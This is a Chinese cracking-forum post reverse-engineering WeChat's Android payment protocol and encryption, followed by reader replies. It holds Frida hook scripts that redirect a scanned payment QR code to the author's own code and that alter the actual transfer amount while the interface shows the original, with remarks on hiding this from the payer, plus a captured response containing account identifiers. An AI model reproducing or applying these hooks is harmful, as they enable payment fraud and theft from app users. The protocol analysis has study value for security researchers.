吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|jn-dxmm.com

 找回密碼
 注冊[Register]

QQ登錄

广西快三只需一步,快速開始

搜索
查看: 29439|回復: 423

[Android 原創] wx支付流程以及加密的分析

    [復制鏈接]
樓主
三年三班三井壽 發表于 2020-1-4 21:01 回帖獎勵
本帖最后由 三年三班三井壽 于 2020-1-9 18:47 編輯

本貼僅供學習交流,請勿用作其他任何用途

19年底搗鼓了一陣wx協議,但沒有相關資料所以摸索了挺久。后來找了一套舊版的協議源碼,奈何支付協議是轉不了帳的,所以自己就看了一下這個。而有了協議框架,我們只需要去看轉賬相關的組包邏輯。
準備:
分析工具:xp,frIDA,jadx,IDA               wx版本:都差不多,706,707,708都看過
首先開啟wx的日志xlog,直接搜索

然后找到開關isLogcatOpen賦值的地方,修改第五個參數為1即可

當然也可以直接找其上層調用


[JavaScript] 純文本查看 復制代碼
        var XLOG=Java.use("com.tencent.mm.sdk.platformtools.ab");
        //var StringClz=Java.use("java.lang.String");
        XLOG.i.overload('java.lang.String', 'java.lang.String', '[Ljava.lang.Object;').implementation=function(s1,s2,s3){
        if(s3==null){
            console.log("i:"+s1+","+s2);
        }else{
            console.log("i:"+s1+","+s2+s3);
        }
            return this.i(arguments[0],arguments[1],arguments[2]);
        }
        XLOG.f.overload('java.lang.String', 'java.lang.String', '[Ljava.lang.Object;').implementation=function(s1,s2,s3){
        if(s3==null){
            console.log("f:"+s1+","+s2);
        }else{
            console.log("f:"+s1+","+s2+s3);
        }
            return this.f(arguments[0],arguments[1],arguments[2]);
        }


微信組包以及加解密的so文件,LibMMProticalJni.so,其組包函數為pack

我們直接hook其Java層調用

[JavaScript] 純文本查看 復制代碼
   var MMProtocalJni=Java.use("com.tencent.mm.protocal.MMProtocalJni");
[/color][/size][/color][/size][size=5][color=red][size=3][color=black]   MMProtocalJni.pack.implementation=function(){  
       console.log("MMpack:"+bytesToHex(arguments[0]));
       return this.pack(arguments[0],arguments[1],arguments[2],arguments[3],arguments[4],arguments[5],arguments[6],arguments[7],arguments[8],arguments[9],arguments[10],arguments[11],arguments[12],arguments[13]);
   }

首先我們掃付款碼,這是之前用xp hook的日志,前面一些基本都是環境設備信息,deviceId,clientVersion之類的,和其他功能組包類似,我們所需要關注的是后面的字符串。明顯的是transfer_url就是二維碼的字串,進行了簡單的編碼。WCPaySign是本地計算出來的一個值,而WCPaySign以及channel之間還有一段序列特征,具體是啥也沒深入研究,有知道的大佬可以告訴我一下。測試中有時會有encrypt_key以及encrypt_userinfo字段,具體也是由WCPaySign以及channel之間字段決定的。
transfer_url是直接通過java庫函數URLEncoder解析得到的:
我們可以在這里替換用戶掃描的二維碼,使得對方不管掃什么碼都會跳到我們自己的二維碼上。比較簡單的做法就是直接hook URLEncoder,通過收款碼特征或者堆棧進行判斷過濾,當然也可以自己重寫這個w類構造,構造一個hashMap傳入
[JavaScript] 純文本查看 復制代碼
 URLEN.encode.overload("java.lang.String").implementation=function(str){
        console.log("URLEN");
        var res=this.encode(str);
        var stack=instance.currentThread().getStackTrace();
        var full_call_stack=where(stack);
        return res.indexOf("wxp%3A%2F%2F")==0&&full_call_stack.indexOf("com.tencent.mm.plugin.remittance.model.w.<init>")?
        "wxp%3A%2F%2Ff2f0NtReekKHV87BM0pY6k3TVjHlljtYL4sQ":res
    }
不過如果這樣做有一個問題,就是不管是掃誰的二維碼,都會跳轉到自己的付款頁面。
那么能不能實現,掃誰的碼就出現給誰付款的頁面,但實際轉賬卻并不是給他轉?換句話說就是頁面上顯示的一切都是正常的,但實際卻轉給了另一個人?當然是可以的,不過我們需要先進行模擬掃我們碼的操作,然后獲取到返回的openid,ticket等。之后在后面付款的時候將正常的這些字段替換成我們的就可以了。扯遠了,下面進行定位,尋找WCPaySign的算法。調用堆棧如下,直接調用函數為com.tencent.mm.ak.t.a
這個函數比較長,jadx反編譯的有問題需要修改設置選項,也可以用jd直接查看調用位置
接著找參數賦值的地方,由一個成員變量req實例化為l.b類型后,進行了序列化
而req的初始化在t構造函的數中
同樣的方法hook其構造函數,調用堆棧如下

前兩個不用看了,u的構造參數qVar.getReqObj也是t的構造參數,而u的構造是在com.tencent.mm.ak.m.dispatch中,構造參數是它的第二個參數q.getReqObj()的返回值。
也是com.tencent.mm.wallet_core.c.u.dispatch的第二個參數

具體賦值的地方在com.tencent.mm.wallet_core.tenpay.model.m.doScene中的rr
這里的rr,之前的q,以及最初的req,他們的類型其實都不一樣。rr實際上是com.tencent.mm.wallet_core.tenpay.model.m所繼承的父類的成員,該類也正是我們所需要找的,賦值的地方在setRequestData中的最后。在此之前,正是計算了WCPaySign。
getEncryptUrl是q中一個抽象的方法,實現如下
從名稱看就是一個3DES(md5(str))的算法,實際上也確實如此
其md5計算只是在Java層調用的標準庫
3DES算法Java層調用接口為encrypt,前一個參數是key,沒有則默認
除此之外,接口類q中提供了getUri接口,其返回值是post的cgi目錄,在com.tencent.mm.wallet_core.c.u onGYNetEnd中的第四個參數傳入了q的實例
通過反射獲取到post接口為/cgi-bin/mmpay-bin/transferscanqrcode
接下來進入so層
調用的so為libtenpay_utils.so,也是標準生成的C函數
在encrypt中很容易發現默認密鑰
但用這key嘗試了幾種加密方式,結果都不正確
可能并非標準的算法,看了一下置換表也沒發現有什么變化,直接將其算法摳出來
Des3Str就是分組加密函數,Des3進行了單個分組加密
流程就是3DES的加密方式:EK3(Dk2(Ek1(P)))
DES_Encode:
代碼太長就不貼了,當時用的IDA6.8,其反編譯的還是多多少少有些坑的,現在用的7.0但也懶得去這部分反編譯是不是一樣的。
注意內存結構就行,然后再用frida對so中的調用依次hook定位問題函數,動態調試即可。這里提一點,sub_D86C函數中反編譯的代碼中有很多__PAIR__,如果直接用網上ida頭文件中的宏定義的話會有問題。而且這個問題并非語法問題,而是ida反編譯得不夠準確,只能通過調試或看反匯編解決
仔細一點觀察,就會發現其偽代碼邏輯比較奇怪,實際匯編代碼如下:
可以將那句偽代碼直接用x86內聯匯編給替代了
[Asm] 純文本查看 復制代碼
push eax;
mov eax,r5;
sub eax,1;
sbb r5,eax;
shl r5,1;
mov eax,r5;
mov v21,eax;
pop eax;
其實稍作分析,其真實邏輯只是在判斷r5是否為0,可以將偽代碼改成:
v21=(BYTE2(v49)&0x20)?2:0;到此,paysign算出的結果總算正確了。
再通過有源碼的協議進行封包發送及解包,可以獲取到返回的各字段
[C] 純文本查看 復制代碼
{{
  "retcode": "0",
  "retmsg": "",
  "user_name": "wxid_7vf3tr41v3g921",
  "true_name": "**鵬",
  "fee": "0",
  "desc": "",
  "scene": "32",
  "transfer_qrcode_id": "aOqTgOotZtAyyz2gsfUHWPV9hsUkxMEHkCVpM5OynlvT6Q2fy6Cwv1ffb7NLyPf9PNB-CY1mWSZW0YqQjo39TbJJWLdpPDnX2EROxb1aHTx1FKd6jqZf1wgFS98q0D32",
  "rcvr_ticket": "Y4pH5nL20VA7CcRPboeyg-4PBk3ma7_U_vksGZzWTBYE4ioVEcz_v6PrG_ZS1QtY",
  "get_pay_wifi": 1,
  "receiver_openid": "oX2-vjvhwAutxXTxz85dJeSzzG-k",
  "scan_scene": 1,
  "favor_list": [],
  "amount_remind_bit": 4
}}
不過12月開始好像就不返回wxid了,也就是user_name返回的是空""
類似的,在轉賬的時候,還有一個密碼的算法,快速地說一下,還是一樣的通過調用棧去找
hook com.tencent.mm.plugin.wallet.pay.a.a.b構造
密碼是第一個參數authen的成員變量
com.tencent.mm.plugin.wallet.pay.a.a.a同理也是一樣
con.tencent.mm.plugin.wallet.pay.a.a.e里有post地址,當然之前paysign里面那個hook也能獲取到:
再上一層調用:
Authen為cZw()返回值
密碼通過成員變量hef進行賦值
hef賦值的地方
再往上找密碼字串
又找到一個字段vfo
密碼加密后字符串由getText()得到,具體是com.tencent.mm.wallet_core.ui.formview.c.a.a的返回值
跟進去看到,payu和tenpay有兩種返回值
我們好友轉賬,掃碼轉賬,包括708新加入的手機號轉賬走的都是tenpay,i大概是觸發的類型,確定交易時是1,輸入金額時是100,其實現部分
當輸入金額時,返回的就是輸入的明文數字,其他類型會進行加密。實際上com.tencent.mm.wallet_core.ui.formview.WalletFormView以及com.tencent.mm.wallet_core.ui.formview.EditHintPasswdView的兩個getText實現分別返回了輸入的金額以及密此碼明文,通過此可以修改轉賬金額,再將生成訂單金額還原成之前的金額,即可控制實際轉賬金額
[JavaScript] 純文本查看 復制代碼
        var WalletOpenViewProxyUI=Java.use("com.tencent.mm.wallet_core.ui.e");
        var old="";
        WalletOpenViewProxyUI.e.overload("double","java.lang.String").implementation=function(a1,a2){
            //var uPn=Java.cast(Authen.class,clazz).getDeclaredField("uPn");
            //uPn.setAccessible(true);
            //send("uPn:"+uPn.get(a1));
            if(a1==0.02)//顯示原有金額
                a1=Number(old) ;
            var res=this.e(a1,a2);
            send("a1:"+a1.toString()+",res:"+res);
            var stack=instance.currentThread().getStackTrace();
            var full_call_stack=where(stack);
            //console.log(full_call_stack);
            return res;
        }
        var wwww=Java.use("com.tencent.mm.wallet_core.ui.formview.WalletFormView");
        wwww.getText.implementation=function(){
            old=this.getText();
            return "0.02";//設置實際轉賬金額
        }


當然你有興趣也可以把轉賬成功信息給改了,那么用戶很可能都不清楚自己轉賬金額已經被篡改了,好像又扯遠了。
我們繼續分析加密函數getEncryptDataWithHash,另一個加密get3DesEncryptData不知是什么情況下進行的,getInputText()能獲取到密碼明文,緊接著會判斷mlEncrypt有沒有實現,該成員類型是一個接口類



具體實現在com.tenpay.android.wechat.TenpaySecureEncrypt.encryptPasswd,str就是傳入的密碼明文,先計算了一下md5。str2傳入的是時間戳,時間戳是com.tenpay.android.wechat.TenpaySecureEditText的setSalt方法設置的

接下來進入so層還原其算法即可,算法為RSA2048。畢竟密碼位數太短,取md5后也很容易被爆破,在加密之前還需要加鹽,鹽是時間戳以及隨機數填充的。
代碼太長也就不貼了,同樣在IDA6.8中存在一些錯誤,提一點encrypt_pass1函數中有這三個變量取了同一個地址


然而事實并非這樣,通過匯編可以看到在賦值前先抬高了sp,雖然每次都是取的var_6C位置,但前后棧頂已經不一樣了:

也就是說只要操作sp的地方,偽代碼都是有些問題的,比如這個else里面的v9=&res,res是傳入的參數,這種邏輯一看就是有問題的:

通過反匯編看到這里也是通過sp去索引的變量,實際上sp已經抬高了三次,這里真實的索引不是參數res,而是在局部變量s中:

密碼加密算法還原后我們就能模擬其支付協議了。不管是好友轉賬,掃碼轉賬或者手機號轉賬最后都是需要req_key的,差不多就是個訂單號的意思


好友轉賬可以通過CGI_TENPAY直接傳對方wxid然后返回req_key,掃碼比較麻煩些,之前WCPaySign那步獲取到openid,ticket,qrcode_id等字段,再通過這些字段去生成訂單走/cgi-bin/mmpay-bin/busif2fplaceorder獲取到req_key。但在12月之前,掃碼仍有wxid返回時,可以投機走舊版的協議/cgi-bin/micromsg-bin/tenpay,邏輯與之前setRequestData找的一樣,大概就是將map中元素拼接成字符串,最后再計算一個paysign,而map中元素也就是掃碼返回的數據

獲取到req_key,最終完成轉賬操作,bank_type和bind_serial是綁定銀行卡的類型id,都為CFT時使用零錢,獲取bind_serial也很簡單,這里就不討論了。
708新增的通過手機號轉賬也是分為三步,通過/cgi-bin/mmpay-bin/transferphonegetrcvr獲取到openid等信息,再通過/cgi-bin/mmpay-bin/transferphoneplaceorder生成訂單,獲取到req_key,最后再由/cgi-bin/mmpay-bin/tenpay/sns_tf_authen確認訂單完成轉賬。組包中的金額好像進行了一種序列化之類的操作,但還是很容易看得出來的,其算法我們可以自己實現:
[C#] 純文本查看 復制代碼
        private int Pow(int x, int n)
        {
            int res = 1;
            while (n > 0)
            {
                if ((n & 1) == 1) res = res * x;//轉化為二進制
                x = x * x;//將x平方
                n >>= 1;
            }
            return res;
        }
        public string getFee(int money,bool isfirst=false,int sign=-1)
        {
            if (money < 0x80 && isfirst == true)
                return String.Format("{0:X2}", money);
            int i = 0;
            int temp = (int)money;
            while ((temp /= 0x80)>=1)
                i++;//遞歸次數
            if (isfirst == true) sign = i;
            int pow= Pow(128, i);//128 i次方
            int dwRes = (pow==1)? money:money/pow;
            money = (pow == 1) ?0: money-dwRes * pow;
            if (isfirst == false) dwRes += 0x80;
            string res = String.Format("{0:X2}", dwRes);
            return sign == 0?res: getFee(money, false, --sign)+res;
        }

手機轉賬其實并沒有分析很多,很多數據沒有分析,只是寫死的,但也是能實現手機轉賬的功能。
太晚了不寫了,其實也就初探了下微信支付的流程,加密的算法。當然后續還需要進一步的封包壓縮加密,但這都有現成的協議代碼。雖然wx是一款社交軟件,但其加密強度目前來看也是很高的,但在本地上,我們仍能做很多有趣的事情,所以建議大家不要使用wx模塊之類的插件



圖片1.png (16.25 KB, 下載次數: 115)

圖片1.png

免費評分

參與人數 254吾愛幣 +219 熱心值 +232 收起 理由
懼染大魔王 + 1 + 1 沒看懂但是感覺很牛批
王妙言 + 1 + 1 果真大佬,不過其實不用擔心,因為錢就算被轉走了,也沒什么人敢去取錢。
dnldnl + 1 謝謝@Thanks!
九筆~ + 1 + 1 --------
沾血灬蘑菇 + 1 + 1 我很贊同!
小呆呆霸王 + 1 + 1 我很贊同!
芯河斑斕 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
vanillasky0220 + 1 + 1 熱心回復!
小賓是老子 + 1 + 1 熱心回復!。大神好厲害。求一個wx收米碼。這種可以寫嗎?
yishujia + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
早睡早起的JJ + 1 + 1 wx模塊畢竟不開源了,如果真要用 就用一些開源應用吧
RCX666 + 1 用心討論,共獲提升!
如丶果 + 1 + 1 我很贊同!
kefeijiajia + 1 看不懂,我只是為了拉下來給個評分,然后牛掰
ailuo2005 + 1 + 1 熱心回復!
WESTARK + 1 + 1 謝謝@Thanks!
CHASEXX + 1 鼓勵轉貼優秀軟件安全工具和文檔!
柚何不可 + 1 謝謝@Thanks!
不愛everyone + 1 + 1 牛B
嚯嚯嚯000 + 1 + 1 謝謝@Thanks!
hamson1026 + 1 我終于知道什么叫做“不明覺厲”
2毛錢 + 1 我一直總感覺我WX的錢怎么花得這么快,原來還有這種操作!
nieshi666 + 1 + 1 熱心回復!
suss66 + 1 + 1 雖然看不懂,但是感覺很牛比的樣子
呵呵__ + 1 + 1 謝謝@Thanks!
newpass + 1 熱心回復!
國產精品 + 1 + 1 我很贊同!
zycjhcs + 1 + 1 謝謝@Thanks!
Sexyxuan + 1 + 1 我很贊同!
嘰嘰喳喳4320 + 1 用心討論,共獲提升!
jjm580 + 1 + 1 熱心回復!
不諳世事的騷年 + 1 + 1 用心討論,共獲提升!
adofei + 1 + 1 我很贊同!
HG/飛飛 + 1 + 1 用心討論,共獲提升!
zl天涯行客 + 1 用心討論,共獲提升!
Qiao + 1 用心討論,共獲提升!
Jayfeng + 1 + 1 雖然沒看懂。。但是...
余佳卓 + 1 + 1 不明覺厲
Algorithms + 1 + 1 我很贊同!
stederlee + 1 + 1 用心討論,共獲提升!
LunMP + 1 + 1 我很贊同!
wzyzzfzjq + 1 + 1 我很贊同!
Jerry_bean + 1 + 1 用心討論,共獲提升!
fushanpupil + 1 + 1 用心討論,共獲提升!
火柴堆火 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
awi0100hjz + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
蒹葭 + 1 用心討論,共獲提升!
hangel1 + 1 + 1 熱心回復!
ljkss + 1 + 1 我很贊同!
fengyugudan + 1 + 1 我很贊同!
XZB0797 + 1 + 1 牛逼
幽仙—— + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
explorer126 + 1 我很贊同!
w1zar6 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
那些年打的飛機 + 1 + 1 謝謝@Thanks!
kexiao1987 + 1 + 1 看懂了,意思是不要隨便下載插件。
渝A·666666 + 1 + 1 已經處理,感謝您對吾愛破解論壇的支持!
養雞場廠長 + 1 + 1 用心討論,共獲提升!
葫蘆里的小姐姐 + 1 + 1 用心討論,共獲提升!
是小溪嗷 + 1 我很贊同!
ZGSY + 1 用心討論,共獲提升!
cleanmgr + 1 雖然前邊沒看懂,但是最后一句看懂了,感謝大佬分享
zeorro + 1 + 1 我很贊同!
魚罐頭 + 1 用心討論,共獲提升!
xiaoyueer00 + 1 + 1 我很贊同!
lxq951 + 1 用心討論,共獲提升!
青衣豆子 + 1 謝謝@Thanks!
Embers_Young + 1 + 1 用心討論,共獲提升!
admsir + 1 + 1 熱心回復!
xulujia723 + 1 + 1 大佬
數學老師丶 + 1 + 1 熱心回復!
smileat2000 + 1 我沒有錢
wjsjwr + 1 + 1 謝謝@Thanks!
小當家哈哈 + 1 + 1 用心討論,共獲提升!
柿餅得志 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
炮彈拐彎轟炸你 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
aihaopojie + 1 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
小小的 + 1 + 1 我很贊同!
ganyimin + 1 熱心回復!
小哥9527 + 1 熱心回復!
yunyaoyzj + 1 + 1 雖然看不懂,但還是支持大佬,學習一下!
QDHH + 1 用心討論,共獲提升!
卡拉肖克倩 + 1 + 1 我很贊同!
植元楓 + 1 熱心回復!
yellsheep + 1 用心討論,共獲提升!
落花時節又逢君 + 1 + 1 謝謝@Thanks!
tk7758991 + 1 用心討論,共獲提升!
bluarry + 1 + 1 我很贊同!
KYO_2代 + 1 我很贊同!
smk418 + 1 + 1 用心討論,共獲提升!
843100 + 1 謝謝@Thanks!
nullable + 1 + 1 高階法師
bjchen + 1 + 1 謝謝@Thanks!
春曰野穹 + 1 我很贊同!
q14975 + 1 + 1 用心討論,共獲提升!
tool_kits + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
昆局水段 + 1 + 1 謝謝@Thanks!
cydt0816 + 1 + 1 我很贊同!
菜雞配小白 + 1 我很贊同!
Surprise. + 1 用心討論,共獲提升!

查看全部評分

本帖被以下淘專輯推薦:

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
xiong1992 發表于 2020-1-6 10:09
是不是可以理解為我買了東西當對方面去掃對方的微X二維碼,顯示支付成功后結果卻是我給我的另外一個號轉錢過去了;或者是2元的東西,顯示成功支付2元后,實際上我只支付了1元;或者是別人給我轉賬,轉1元,顯示成功支付1元,但是實際上我卻收到了他轉的2元。這個如果給不法分子利用就麻煩了。
推薦
努力的T先生 發表于 2020-1-5 00:03
看不懂,不知道大神能不能給個變得跟你一樣優秀的思路,至少把這個看得懂
推薦
TedChen 發表于 2020-1-4 23:55
推薦
股票虧損員 發表于 2020-1-4 21:37
感覺看到是天書
推薦
nshark 發表于 2020-1-4 22:03
看著都迷糊
推薦
 樓主| 三年三班三井壽 發表于 2020-1-8 12:43 <
老哥還會軍體拳 發表于 2020-1-7 18:13
老哥,漏洞搞得怎么樣了

剛接觸沒多久
8#
ccc800 發表于 2020-1-4 21:33
大神。路過 看的眼花
9#
ebacn 發表于 2020-1-4 21:33
感謝,學習了!
10#
52pojieggh 發表于 2020-1-4 21:46
天書一本
11#
linfengtai2008 發表于 2020-1-4 21:50
厲害,學習了
12#
冷月殘星 發表于 2020-1-4 21:52
大神。。。
13#
88491354@qq.com 發表于 2020-1-4 21:59
大哥厲害,之后買蘭博基尼就靠你了。&#128516;
14#
winson365 發表于 2020-1-4 22:09
大神,望塵莫及啊
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:本版塊禁止灌水或回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( )

GMT+8, 2020-3-30 07:08

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回復 返回頂部 返回列表
安徽快3-推荐 重庆快3-Welcome 北京快3-欢迎您 上海快3-Home 湖北快3-安全购彩 湖南快3-广西快三 河北快3-推荐 大发11选5-推荐 河南快3-Welcome 广东快3-Home